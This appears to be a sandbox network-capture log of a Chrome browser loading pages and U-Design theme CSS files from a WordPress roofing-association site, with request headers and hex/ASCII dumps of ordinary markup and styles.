2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 6a 73 2f 66 72 6f 6e 74 65 6e 64 2f 61 64 64 2d 74 6f 2d 63 61 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 37 2e 30 2e 30 27 20 69 64 3d 27 77 63 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d Data Ascii: ipt><script type='text/javascript' src='https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=7.0.0' id='wc-add-to-cart-js'></script><script type='text/javascript' src='https://www.asphaltroofing.org/wp-
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 22 30 20 30 20 30 20 30 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 66 6f 63 75 73 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 73 74 79 6c 65 3d 22 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 20 2d 39 39 39 39 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 22 20 3e 3c 64 65 66 73 3e 3c 66 69 6c 74 65 72 20 69 64 3d 22 77 70 2d 64 75 6f 74 6f 6e 65 2d 64 61 72 6b 2d 67 72 61 79 73 63 61 6c 65 22 3e 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c Data Ascii: "0 0 0 0" width="0" height="0" focusable="false" role="none" style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;" ><defs><filter id="wp-duotone-dark-grayscale"><feColorMatrix color-interpolation-filters="sRGB" type="matrix" val
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 65 72 5f 32 34 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 22 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 22 3e 3c 75 6c 20 69 64 3d 22 6d 61 69 6e 2d 74 6f 70 2d 6d 65 6e 75 22 20 63 6c 61 73 73 3d 22 73 66 2d 6d 65 6e 75 22 3e 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 38 39 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 38 39 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e Data Ascii: er_24"><div id="navigation-menu" class="navigation-menu"><ul id="main-top-menu" class="sf-menu"><li id="menu-item-89" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89"><a href="https://www.asphaltroofin
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2c 20 73 6f 72 72 79 2e 2e 2e 20 28 20 45 72 72 6f 72 20 34 30 34 20 29 3c 2f 68 33 3e 0a 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 34 30 34 2d 68 65 6c 70 2d 6f 70 74 69 6f 6e 73 22 3e 0a 09 09 09 09 3c 68 36 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 34 30 34 2d 6d 65 73 73 61 67 65 22 3e 4c 65 74 20 6d 65 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 69 74 3a 3c 2f 68 36 3e 0a 09 09 09 09 3c 6f 6c 3e 0a 09 09 09 09 09 3c 6c 69 3e 0a 09 09 09 09 09 09 53 65 61 72 63 68 20 66 6f 72 20 69 74 3a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 6c 69 6e 65 2d 73 65 61 72 63 68 2d 66 6f 72 6d 22 3e 09 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f Data Ascii: you are looking for, sorry... ( Error 404 )</h3><div class="page-404-help-options"><h6 class="page-404-message">Let me help you find it:</h6><ol><li>Search for it:<div class="inline-search-form"><form role="search" metho
2024-04-23 14:53:44 UTC	7152	IN	Data Raw: 49 4f 4e 09 09 09 09 0d 0a 09 09 09 09 69 66 20 28 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 09 09 09 09 09 0d 0a 09 09 09 09 09 69 66 28 74 79 70 65 6f 66 28 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 2e 64 65 66 61 75 6c 74 73 29 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 0d 0a 09 09 09 09 09 09 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 2e 64 65 66 61 75 6c 74 73 2e 61 6a 61 78 54 79 70 65 73 2e 70 75 73 68 28 7b 74 79 70 65 3a 20 27 72 65 76 73 6c 69 64 65 72 27 2c 20 66 75 6e 63 3a 20 61 6a 61 78 52 65 76 73 6c 69 64 65 72 2c 20 6b 69 6c 6c 66 75 6e 63 3a 20 61 6a 61 78 52 65 6d 6f 76 65 52 65 76 73 6c 69 64 65 72 2c 20 6f 70 65 6e Data Ascii: IONif (jQuery.fn.tpessential !== undefined) if(typeof(jQuery.fn.tpessential.defaults) !== 'undefined') jQuery.fn.tpessential.defaults.ajaxTypes.push({type: 'revslider', func: ajaxRevslider, killfunc: ajaxRemoveRevslider, open

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49753	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	616	OUT	GET /wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:43 UTC	542	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 105107 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e024e4-19a93-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:43 UTC	7650	IN	Data Raw: 2f 2a 0d 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 55 2d 44 65 73 69 67 6e 0d 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 75 64 65 73 69 67 6e 74 68 65 6d 65 2e 63 6f 6d 2f 65 6e 76 61 74 6f 2d 6d 61 72 6b 65 74 2f 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 43 53 53 20 66 6f 72 20 74 68 65 20 27 55 2d 44 65 73 69 67 6e 20 54 68 65 6d 65 27 2e 0d 0a 56 65 72 73 69 6f 6e 3a 20 33 2e 33 2e 38 0d 0a 41 75 74 68 6f 72 3a 20 41 6e 64 6f 6e 0d 0a 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 31 2e 65 6e 76 61 74 6f 2e 6d 61 72 6b 65 74 2f 4f 64 4f 62 7a 0d 0a 2a 2f 0d 0a 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 36 30 70 78 3b 0d 0a 7d 0d 0a 23 77 72 61 70 70 65 72 2d 31 20 7b 0d 0a 20 20 20 20 62 Data Ascii: /Theme Name: U-DesignTheme URI: https://udesigntheme.com/envato-market/Description: CSS for the 'U-Design Theme'.Version: 3.3.8Author: AndonAuthor URI: https://1.envato.market/OdObz/body { min-width: 960px;}#wrapper-1 { b
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 2d 6e 61 76 20 7b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 35 70 78 20 32 32 70 78 20 30 20 30 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 66 6c 6f 61 74 3a 72 69 67 68 74 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 31 34 70 78 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 23 63 32 2d 6e 61 76 20 61 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 2e 2e 2f 2e 2e 2f 69 6d 61 67 65 73 2f 73 6c 69 64 65 72 2d 62 75 6c 6c 65 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 Data Ascii: -nav { z-index: 100; padding: 25px 22px 0 0; margin: 0 auto; float:right; height:14px; position: relative;}#c2-nav a { background: url(../../../images/slider-bullet.png) no-repeat scroll 0 0 transparent; display
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 69 6c 64 72 65 6e 20 6c 69 20 2e 65 76 65 6e 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 2c 0d 0a 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 68 69 6c 64 72 65 6e 20 2e 63 68 69 6c 64 72 65 6e 20 6c 69 20 2e 65 76 65 6e 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 2c 0d 0a 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 68 69 6c 64 72 65 6e 20 2e 63 68 69 6c 64 72 65 6e 20 2e 63 68 69 6c 64 72 65 6e 20 6c 69 20 2e 65 76 65 6e 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 2c 0d 0a 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 68 69 6c 64 72 65 6e 20 2e 63 68 69 6c 64 72 65 6e 20 2e 63 68 69 6c 64 72 65 6e 20 2e 63 68 69 6c 64 72 65 6e 20 6c 69 20 2e 65 76 65 6e 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 2c 0d 0a 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 68 69 6c 64 Data Ascii: ildren li .even .comment-meta,.commentlist .children .children li .even .comment-meta,.commentlist .children .children .children li .even .comment-meta,.commentlist .children .children .children .children li .even .comment-meta,.commentlist .child
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 6c 69 20 6c 69 20 6c 69 20 6c 69 20 6c 69 20 61 3a 68 6f 76 65 72 2c 0d 0a 2e 68 6f 6d 65 2d 63 6f 6e 74 2d 62 6f 78 20 2e 63 75 73 74 6f 6d 2d 66 6f 72 6d 61 74 74 69 6e 67 20 2e 63 75 72 72 65 6e 74 5f 70 61 67 65 5f 69 74 65 6d 20 75 6c 20 61 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 75 72 6c 28 2e 2e 2f 2e 2e 2f 2e 2e 2f 69 6d 61 67 65 73 2f 72 65 70 65 61 74 2d 78 2d 73 70 72 69 74 65 2d 73 68 65 65 74 2e 70 6e 67 29 20 72 65 70 65 61 74 2d 78 20 73 63 72 6f 6c 6c 20 30 20 31 30 30 25 3b 20 2f 2a 20 4f 72 69 67 69 6e 61 6c 3a 20 68 65 61 64 69 6e 67 5f 75 6e 64 65 72 6c 69 6e 65 2e 70 6e 67 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 77 69 64 67 65 74 5f 74 61 67 5f 63 6c 6f 75 64 20 7b 0d 0a 20 20 20 20 70 Data Ascii: li li li li li a:hover,.home-cont-box .custom-formatting .current_page_item ul a { background: transparent url(../../../images/repeat-x-sprite-sheet.png) repeat-x scroll 0 100%; /* Original: heading_underline.png */}.widget_tag_cloud { p
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 20 35 70 78 3b 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 23 63 61 74 65 67 6f 72 79 2d 6c 69 6e 6b 73 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 23 63 61 74 65 67 6f 72 79 2d 6c 69 6e 6b 73 20 75 6c 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 2e 34 65 6d 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 36 65 6d 3b 0d 0a 7d 0d 0a 23 63 61 74 65 67 6f 72 79 2d 6c Data Ascii: padding: 10px 0 5px; clear: both;}#category-links { margin: 0;}#category-links ul { margin: 0; padding: 0; list-style-type: none; text-align: center; line-height: 2.4em; font-size: 1.6em;}#category-l
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 74 68 3a 20 33 32 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 2e 69 6e 66 6f 20 2e 6d 73 67 2d 62 6f 78 2d 69 63 6f 6e 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 30 70 78 20 2d 38 31 36 70 78 3b 0d 0a 7d 0d 0a 2e 73 75 63 63 65 73 73 20 2e 6d 73 67 2d 62 6f 78 2d 69 63 6f 6e 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 30 70 78 20 2d 38 37 30 Data Ascii: th: 32px; height: 32px; left: 0; top: 50%; transform: translateY(-50%); margin: 0;}.info .msg-box-icon::before { background-position: -10px -816px;}.success .msg-box-icon::before { background-position: -10px -870
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 31 2c 20 23 73 65 63 2d 6e 61 76 2d 74 65 78 74 2d 61 72 65 61 2d 32 2c 20 23 73 65 63 2d 6e 61 76 2d 6d 65 6e 75 2d 61 72 65 61 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 37 70 78 20 32 30 70 78 20 35 70 78 3b 0d 0a 7d 0d 0a 23 73 65 63 2d 6e 61 76 2d 74 65 78 74 2d 61 72 65 61 2d 31 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 7d 0d 0a 23 73 65 63 2d 6e 61 76 2d 74 65 78 74 2d 61 72 65 61 2d 32 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 20 7d 0d 0a 23 73 65 63 2d 6e 61 76 2d 6d 65 6e 75 2d 61 72 65 61 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0d 0a 2e 75 64 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 73 20 7b 0d 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6f 75 74 Data Ascii: 1, #sec-nav-text-area-2, #sec-nav-menu-area { padding: 7px 20px 5px;}#sec-nav-text-area-1 { text-align: left; }#sec-nav-text-area-2 { text-align: right; }#sec-nav-menu-area { text-align: center; }.ud-social-icons { list-style-type: out
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 2d 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 2d 31 30 70 78 20 2d 34 39 38 70 78 3b 20 7d 20 2f 2a 20 4f 72 69 67 69 6e 61 6c 3a 20 74 68 75 6d 62 2d 75 70 2e 70 6e 67 20 2a 2f 0d 0a 75 6c 2e 6c 69 73 74 2d 35 20 3e 20 6c 69 3a 62 65 66 6f 72 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 2e 2e 2f 2e 2e 2f 69 6d 61 67 65 73 2f 6d 69 73 63 2d 73 70 72 69 74 65 2d 73 68 65 65 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 2d 31 30 70 78 20 2d 33 35 34 70 78 3b 20 7d 20 2f 2a 20 4f 72 69 67 69 6e 61 6c 3a 20 6c 69 66 65 62 6f 79 2e 70 6e 67 20 2a 2f 0d 0a 75 6c 2e 6c 69 73 74 2d 36 20 3e 20 6c 69 3a 62 65 66 6f 72 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 2e 2e 2f 2e 2e 2f 69 6d 61 67 Data Ascii: -repeat scroll -10px -498px; } /* Original: thumb-up.png /ul.list-5 > li:before { background: url(../../../images/misc-sprite-sheet.png) no-repeat scroll -10px -354px; } / Original: lifeboy.png */ul.list-6 > li:before { background: url(../../../imag
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 70 78 20 33 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 36 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 35 29 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 2c 20 61 2e 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 33 70 78 3b 0d 0a 7d 0d 0a 2e 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 20 7b 20 74 6f 70 3a 20 31 70 78 3b 20 7d 0d 0a 2e 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 20 73 70 Data Ascii: px 3px rgba(0,0,0,0.6); border-bottom: 1px solid rgba(0,0,0,0.25); position: relative; cursor: pointer;}.custom-button, a.custom-button { outline: 0 none; margin: 3px;}.custom-button:active { top: 1px; }.custom-button sp
2024-04-23 14:53:43 UTC	8192	IN	Data Raw: 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2f 2a 20 42 65 67 69 6e 20 46 6c 69 63 6b 72 20 49 6d 61 67 65 73 20 2a 2f 0d 0a 23 66 6c 69 63 6b 72 2d 69 6d 61 67 65 73 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 23 66 6c 69 63 6b 72 2d 69 6d 61 67 65 73 20 75 6c 20 7b 0d 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0d 0a 09 66 6c 6f 61 74 3a 20 09 6c 65 66 74 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 Data Ascii: overflow: hidden; outline: none;}/* Begin Flickr Images */#flickr-images {padding: 0px;margin: 0px;overflow: hidden;text-align:center;}#flickr-images ul {list-style: none;float: left;padding: 0px;margin: 0px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49754	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	634	OUT	GET /wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:43 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 12022 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 22 Apr 2024 16:41:34 GMT ETag: "1e024e1-2ef6-616b21c44b7b1" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:43 UTC	7652	IN	Data Raw: 2f 2a 20 0d 0a 20 2a 20 44 4f 20 4e 4f 54 20 45 64 69 74 20 74 68 69 73 20 66 69 6c 65 2c 20 6f 72 20 79 6f 75 72 20 43 53 53 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 6f 76 65 72 77 72 69 74 74 65 6e 21 21 0d 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 69 6e 74 65 6e 64 65 64 20 66 6f 72 20 74 68 65 20 74 68 65 6d 65 27 73 20 69 6e 74 65 72 6e 61 6c 20 75 73 65 2e 0d 0a 20 2a 20 0d 0a 20 2a 2f 0d 0a 62 6f 64 79 2c 20 23 70 61 67 65 2d 63 6f 6e 74 65 6e 74 2d 74 69 74 6c 65 20 2e 74 69 74 6c 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 61 6c 65 77 61 79 27 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 20 7d 0d 0a 62 6f 64 79 Data Ascii: /* * DO NOT Edit this file, or your CSS code will be overwritten!! * This file is intended for the theme's internal use. * */body, #page-content-title .title-description { font-family:'Raleway'; font-weight: normal; font-style: normal; }body
2024-04-23 14:53:43 UTC	4370	IN	Data Raw: 72 3a 20 23 45 45 46 30 46 34 3b 20 7d 0d 0a 23 62 6f 74 74 6f 6d 20 61 3a 68 6f 76 65 72 20 7b 20 63 6f 6c 6f 72 3a 20 23 41 37 41 39 41 43 3b 20 7d 0d 0a 20 20 20 20 23 66 6f 6f 74 65 72 2d 62 67 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 37 33 32 32 31 37 3b 20 7d 0d 0a 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 37 33 32 32 31 37 3b 20 7d 0d 0a 23 66 6f 6f 74 65 72 2c 20 23 66 6f 6f 74 65 72 5f 74 65 78 74 20 7b 20 63 6f 6c 6f 72 3a 20 23 45 45 46 30 46 34 3b 20 7d 0d 0a 23 66 6f 6f 74 65 72 20 61 2c 20 23 66 6f 6f 74 65 72 5f 74 65 78 74 20 61 20 7b 20 63 6f 6c 6f 72 3a 20 23 45 45 46 30 46 34 3b 20 7d 0d 0a 23 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 2c 20 23 66 6f 6f 74 65 72 5f 74 65 78 74 Data Ascii: r: #EEF0F4; }#bottom a:hover { color: #A7A9AC; } #footer-bg { background-color: #732217; }body { background-color: #732217; }#footer, #footer_text { color: #EEF0F4; }#footer a, #footer_text a { color: #EEF0F4; }#footer a:hover, #footer_text

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49755	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	621	OUT	GET /wp-content/themes/u-design/assets/css/frontend/layout/responsive.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:43 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 56299 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e024ea-dbeb-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
